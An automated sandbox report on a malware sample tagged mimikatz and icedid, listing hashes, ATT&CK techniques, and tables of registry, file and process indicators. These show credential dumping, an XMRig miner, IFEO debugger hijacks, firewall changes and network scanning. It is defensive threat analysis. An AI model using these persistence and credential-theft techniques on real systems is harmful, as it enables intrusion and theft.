mimikatz | a4724f557f1920b28888e1a6cb11bd11916726b90586e113ba66f6ffdf92f0c0

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
31-12-2024 23:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-12-31_6ace1bce0281b74a6dc2469a810da560_hacktools_icedid_mimikatz.exe
Size

8.6MB
MD5

6ace1bce0281b74a6dc2469a810da560
SHA1

eb3e58488f74c033580fa7666ff240ba3acb6491
SHA256

a4724f557f1920b28888e1a6cb11bd11916726b90586e113ba66f6ffdf92f0c0
SHA512

d285df89b8567d5ac46b18eccaa3f620c932673d404dc28f9e55989f5cc0e08e251ec5e738268d52f0acf8304e1fb158103d664e3c3735897811454695d69110
SSDEEP

196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz
Mimikatz family
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3232 created 2104	3232	lebulsi.exe	37

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (30626) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral2/memory/3996-178-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	xmrig
behavioral2/memory/3996-182-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	xmrig
behavioral2/memory/3996-199-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	xmrig
behavioral2/memory/3996-212-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	xmrig
behavioral2/memory/3996-218-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	xmrig
behavioral2/memory/3996-234-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	xmrig
behavioral2/memory/3996-249-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	xmrig
behavioral2/memory/3996-498-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	xmrig
behavioral2/memory/3996-499-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	xmrig
behavioral2/memory/3996-501-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	xmrig
behavioral2/memory/3996-756-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	xmrig
behavioral2/memory/3996-758-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

resource	yara_rule
behavioral2/memory/2648-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/2648-4-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/files/0x0007000000023c96-6.dat	mimikatz
behavioral2/memory/436-8-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/4552-138-0x00007FF604E10000-0x00007FF604EFE000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	lebulsi.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File created	C:\Windows\system32\drivers\etc\hosts	lebulsi.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	lebulsi.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	lebulsi.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	lebulsi.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3860	netsh.exe
1716	netsh.exe

Executes dropped EXE 29 IoCs

pid	Process
436	lebulsi.exe
3232	lebulsi.exe
3080	wpcap.exe
4288	bdltnuisb.exe
4552	vfshost.exe
3888	sadefbibf.exe
2312	xohudmc.exe
1676	varpws.exe
3996	uuetgf.exe
3112	sadefbibf.exe
3808	sadefbibf.exe
2696	sadefbibf.exe
4672	sadefbibf.exe
2424	sadefbibf.exe
4836	sadefbibf.exe
4988	sadefbibf.exe
1040	sadefbibf.exe
3436	sadefbibf.exe
2448	sadefbibf.exe
3952	sadefbibf.exe
2700	sadefbibf.exe
1488	lebulsi.exe
3080	sadefbibf.exe
1168	sadefbibf.exe
2968	sadefbibf.exe
4376	sadefbibf.exe
4672	sadefbibf.exe
3556	ysesbhsym.exe
6096	lebulsi.exe

Loads dropped DLL 12 IoCs

pid	Process
3080	wpcap.exe
3080	wpcap.exe
3080	wpcap.exe
3080	wpcap.exe
3080	wpcap.exe
3080	wpcap.exe
3080	wpcap.exe
3080	wpcap.exe
3080	wpcap.exe
4288	bdltnuisb.exe
4288	bdltnuisb.exe
4288	bdltnuisb.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
66	ifconfig.me
67	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	lebulsi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	lebulsi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	lebulsi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	lebulsi.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	lebulsi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	lebulsi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	lebulsi.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File created	C:\Windows\SysWOW64\varpws.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	lebulsi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EC98FD874C34E9667158FBB7DEFBD82F	lebulsi.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EC98FD874C34E9667158FBB7DEFBD82F	lebulsi.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\varpws.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	lebulsi.exe

UPX packed file 37 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023ce9-134.dat	upx
behavioral2/memory/4552-135-0x00007FF604E10000-0x00007FF604EFE000-memory.dmp	upx
behavioral2/memory/4552-138-0x00007FF604E10000-0x00007FF604EFE000-memory.dmp	upx
behavioral2/files/0x0007000000023cf4-141.dat	upx
behavioral2/memory/3888-142-0x00007FF791480000-0x00007FF7914DB000-memory.dmp	upx
behavioral2/memory/3888-155-0x00007FF791480000-0x00007FF7914DB000-memory.dmp	upx
behavioral2/files/0x0007000000023cf1-164.dat	upx
behavioral2/memory/3996-165-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	upx
behavioral2/memory/3112-171-0x00007FF791480000-0x00007FF7914DB000-memory.dmp	upx
behavioral2/memory/3808-175-0x00007FF791480000-0x00007FF7914DB000-memory.dmp	upx
behavioral2/memory/3996-178-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	upx
behavioral2/memory/2696-180-0x00007FF791480000-0x00007FF7914DB000-memory.dmp	upx
behavioral2/memory/3996-182-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	upx
behavioral2/memory/4672-185-0x00007FF791480000-0x00007FF7914DB000-memory.dmp	upx
behavioral2/memory/2424-189-0x00007FF791480000-0x00007FF7914DB000-memory.dmp	upx
behavioral2/memory/4836-193-0x00007FF791480000-0x00007FF7914DB000-memory.dmp	upx
behavioral2/memory/4988-197-0x00007FF791480000-0x00007FF7914DB000-memory.dmp	upx
behavioral2/memory/3996-199-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	upx
behavioral2/memory/1040-202-0x00007FF791480000-0x00007FF7914DB000-memory.dmp	upx
behavioral2/memory/3436-206-0x00007FF791480000-0x00007FF7914DB000-memory.dmp	upx
behavioral2/memory/2448-210-0x00007FF791480000-0x00007FF7914DB000-memory.dmp	upx
behavioral2/memory/3996-212-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	upx
behavioral2/memory/3952-215-0x00007FF791480000-0x00007FF7914DB000-memory.dmp	upx
behavioral2/memory/3996-218-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	upx
behavioral2/memory/2700-220-0x00007FF791480000-0x00007FF7914DB000-memory.dmp	upx
behavioral2/memory/3080-228-0x00007FF791480000-0x00007FF7914DB000-memory.dmp	upx
behavioral2/memory/1168-231-0x00007FF791480000-0x00007FF7914DB000-memory.dmp	upx
behavioral2/memory/2968-233-0x00007FF791480000-0x00007FF7914DB000-memory.dmp	upx
behavioral2/memory/3996-234-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	upx
behavioral2/memory/4376-236-0x00007FF791480000-0x00007FF7914DB000-memory.dmp	upx
behavioral2/memory/4672-238-0x00007FF791480000-0x00007FF7914DB000-memory.dmp	upx
behavioral2/memory/3996-249-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	upx
behavioral2/memory/3996-498-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	upx
behavioral2/memory/3996-499-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	upx
behavioral2/memory/3996-501-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	upx
behavioral2/memory/3996-756-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	upx
behavioral2/memory/3996-758-0x00007FF7FF970000-0x00007FF7FFA90000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File created	C:\Windows\zthyliniv\eftbbbiir\wpcap.dll	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\libxml2.dll	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\vimpcsvc.xml	lebulsi.exe
File created	C:\Windows\zthyliniv\eftbbbiir\scan.bat	lebulsi.exe
File created	C:\Windows\seumlgyb\svschost.xml	lebulsi.exe
File created	C:\Windows\ime\lebulsi.exe	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\coli-0.dll	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\tucl-1.dll	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\vimpcsvc.exe	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\svschost.xml	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\exma-1.dll	lebulsi.exe
File created	C:\Windows\zthyliniv\Corporate\vfshost.exe	lebulsi.exe
File opened for modification	C:\Windows\zthyliniv\eftbbbiir\Packet.dll	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\spoolsrv.exe	lebulsi.exe
File opened for modification	C:\Windows\seumlgyb\spoolsrv.xml	lebulsi.exe
File opened for modification	C:\Windows\seumlgyb\vimpcsvc.xml	lebulsi.exe
File created	C:\Windows\seumlgyb\spoolsrv.xml	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\ssleay32.dll	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\trfo-2.dll	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\zlib1.dll	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\spoolsrv.xml	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\svschost.xml	lebulsi.exe
File opened for modification	C:\Windows\seumlgyb\docmicfg.xml	lebulsi.exe
File created	C:\Windows\zthyliniv\eftbbbiir\Packet.dll	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\ucl.dll	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\docmicfg.exe	lebulsi.exe
File opened for modification	C:\Windows\seumlgyb\svschost.xml	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\trch-1.dll	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\docmicfg.xml	lebulsi.exe
File opened for modification	C:\Windows\zthyliniv\Corporate\log.txt	cmd.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\crli-0.dll	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\schoedcl.xml	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\spoolsrv.xml	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\schoedcl.xml	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\docmicfg.xml	lebulsi.exe
File created	C:\Windows\zthyliniv\eftbbbiir\ip.txt	lebulsi.exe
File created	C:\Windows\zthyliniv\eftbbbiir\wpcap.exe	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\libeay32.dll	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\posh-0.dll	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\svschost.exe	lebulsi.exe
File created	C:\Windows\zthyliniv\eftbbbiir\bdltnuisb.exe	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\tibe-2.dll	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\xdvl-0.dll	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\AppCapture64.dll	lebulsi.exe
File opened for modification	C:\Windows\seumlgyb\lebulsi.exe	2024-12-31_6ace1bce0281b74a6dc2469a810da560_hacktools_icedid_mimikatz.exe
File created	C:\Windows\zthyliniv\eftbbbiir\ysesbhsym.exe	lebulsi.exe
File created	C:\Windows\seumlgyb\schoedcl.xml	lebulsi.exe
File created	C:\Windows\zthyliniv\upbdrjv\swrpwe.exe	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\cnli-1.dll	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\specials\schoedcl.exe	lebulsi.exe
File created	C:\Windows\seumlgyb\docmicfg.xml	lebulsi.exe
File opened for modification	C:\Windows\seumlgyb\schoedcl.xml	lebulsi.exe
File created	C:\Windows\zthyliniv\Corporate\mimidrv.sys	lebulsi.exe
File created	C:\Windows\zthyliniv\Corporate\mimilib.dll	lebulsi.exe
File opened for modification	C:\Windows\zthyliniv\eftbbbiir\Result.txt	ysesbhsym.exe
File created	C:\Windows\zthyliniv\UnattendGC\vimpcsvc.xml	lebulsi.exe
File created	C:\Windows\seumlgyb\vimpcsvc.xml	lebulsi.exe
File created	C:\Windows\zthyliniv\UnattendGC\Shellcode.ini	lebulsi.exe
File created	C:\Windows\seumlgyb\lebulsi.exe	2024-12-31_6ace1bce0281b74a6dc2469a810da560_hacktools_icedid_mimikatz.exe
File created	C:\Windows\zthyliniv\UnattendGC\AppCapture32.dll	lebulsi.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3428	sc.exe
1576	sc.exe
384	sc.exe
1644	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
